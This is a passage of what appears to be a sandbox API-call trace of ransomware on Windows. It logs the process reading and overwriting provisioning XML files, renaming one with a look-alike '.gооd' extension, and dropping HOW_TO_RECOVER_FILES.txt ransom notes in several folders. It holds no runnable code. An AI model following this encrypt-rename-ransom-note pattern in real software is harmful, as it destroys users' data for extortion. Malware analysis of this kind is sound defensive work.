(normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0118.487] GetFileType (hFile=0x6e4) returned 0x1 [0118.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6a0) returned 1 [0118.487] GetFileType (hFile=0x6e4) returned 0x1 [0118.487] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1fced8d8 | out: lpFileSizeHigh=0x1fced8d8*=0x0) returned 0xfb [0118.487] ReadFile (in: hFile=0x6e4, lpBuffer=0x35778a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced808, lpOverlapped=0x0 | out: lpBuffer=0x35778a0*, lpNumberOfBytesRead=0x1fced808*=0xfb, lpOverlapped=0x0) returned 1 [0118.488] CloseHandle (hObject=0x6e4) returned 1 [0118.626] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced210, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0118.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced730) returned 1 [0118.626] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0118.627] GetFileType (hFile=0x7b4) returned 0x1 [0118.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6a0) returned 1 [0118.627] GetFileType (hFile=0x7b4) returned 0x1 [0118.627] WriteFile (in: hFile=0x7b4, lpBuffer=0x3401ba0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1fced718, lpOverlapped=0x0 | out: lpBuffer=0x3401ba0*, lpNumberOfBytesWritten=0x1fced718*=0x100, lpOverlapped=0x0) returned 1 [0118.628] CloseHandle (hObject=0x7b4) returned 1 [0118.628] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0118.628] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml.gоod", lpFilePart=0x0) returned 0x62 [0118.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced840) returned 1 [0118.628] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fced920 | out: lpFileInformation=0x1fced920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f44caa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f44caa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x42eaa51b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x100)) returned 1 [0118.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced800) returned 1 [0118.628] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime.xml.gоod")) returned 1 [0119.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced0a0) returned 1 [0119.115] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1fcecb40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0119.129] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\*", lpFindFileData=0x1fcecdc0 | out: lpFindFileData=0x1fcecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0119.129] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.129] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1ea40, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1ea40, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x710, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="0__POW~1.PRO")) returned 1 [0119.129] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0119.129] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0119.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfe0) returned 1 [0119.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfa0) returned 1 [0119.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced0a0) returned 1 [0119.130] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1fcecb40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0119.130] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\*", lpFindFileData=0x1fcecdc0 | out: lpFindFileData=0x1fcecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0119.130] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.130] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1ea40, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1ea40, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x710, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="0__POW~1.PRO")) returned 1 [0119.130] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1ea40, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1ea40, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x710, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="0__POW~1.PRO")) returned 0 [0119.130] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0119.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfe0) returned 1 [0119.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfa0) returned 1 [0119.131] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fcecaf0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x72 [0119.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced010) returned 1 [0119.131] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0119.132] GetFileType (hFile=0x6e4) returned 0x1 [0119.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecf80) returned 1 [0119.132] GetFileType (hFile=0x6e4) returned 0x1 [0119.132] WriteFile (in: hFile=0x6e4, lpBuffer=0x3437608*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fced0d8, lpOverlapped=0x0 | out: lpBuffer=0x3437608*, lpNumberOfBytesWritten=0x1fced0d8*=0x5d0, lpOverlapped=0x0) returned 1 [0119.133] CloseHandle (hObject=0x6e4) returned 1 [0119.133] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fced520, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0119.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceda40) returned 1 [0119.133] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0119.134] GetFileType (hFile=0x6e4) returned 0x1 [0119.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9b0) returned 1 [0119.134] GetFileType (hFile=0x6e4) returned 0x1 [0119.134] WriteFile (in: hFile=0x6e4, lpBuffer=0x343af00*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcedb08, lpOverlapped=0x0 | out: lpBuffer=0x343af00*, lpNumberOfBytesWritten=0x1fcedb08*=0x5d0, lpOverlapped=0x0) returned 1 [0119.135] CloseHandle (hObject=0x6e4) returned 1 [0119.136] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fcedf50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x65 [0119.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee470) returned 1 [0119.136] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0119.137] GetFileType (hFile=0x6e4) returned 0x1 [0119.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee3e0) returned 1 [0119.137] GetFileType (hFile=0x6e4) returned 0x1 [0119.137] WriteFile (in: hFile=0x6e4, lpBuffer=0x343e7e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcee538, lpOverlapped=0x0 | out: lpBuffer=0x343e7e8*, lpNumberOfBytesWritten=0x1fcee538*=0x5d0, lpOverlapped=0x0) returned 1 [0119.138] CloseHandle (hObject=0x6e4) returned 1 [0119.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee500) returned 1 [0119.139] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}", nBufferLength=0x105, lpBuffer=0x1fcedfa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}", lpFilePart=0x0) returned 0x4c [0119.139] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\*", lpFindFileData=0x1fcee220 | out: lpFindFileData=0x1fcee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0119.140] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.140] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0119.140] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0119.140] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0119.140] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0119.140] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0119.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee440) returned 1 [0119.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee400) returned 1 [0119.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee500) returned 1 [0119.140] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}", nBufferLength=0x105, lpBuffer=0x1fcedfa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}", lpFilePart=0x0) returned 0x4c [0119.141] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\*", lpFindFileData=0x1fcee220 | out: lpFindFileData=0x1fcee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0119.141] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.141] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0119.141] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0119.141] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0119.141] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0119.141] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0119.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee440) returned 1 [0119.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee400) returned 1 [0119.142] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0119.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0119.142] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x34542b8 | out: lpFileInformation=0x34542b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x67b)) returned 1 [0119.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0119.142] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0119.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0119.142] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0119.142] GetFileType (hFile=0x6e4) returned 0x1 [0119.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0119.142] GetFileType (hFile=0x6e4) returned 0x1 [0119.142] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x67b [0119.142] ReadFile (in: hFile=0x6e4, lpBuffer=0x3454c50, nNumberOfBytesToRead=0x1000, 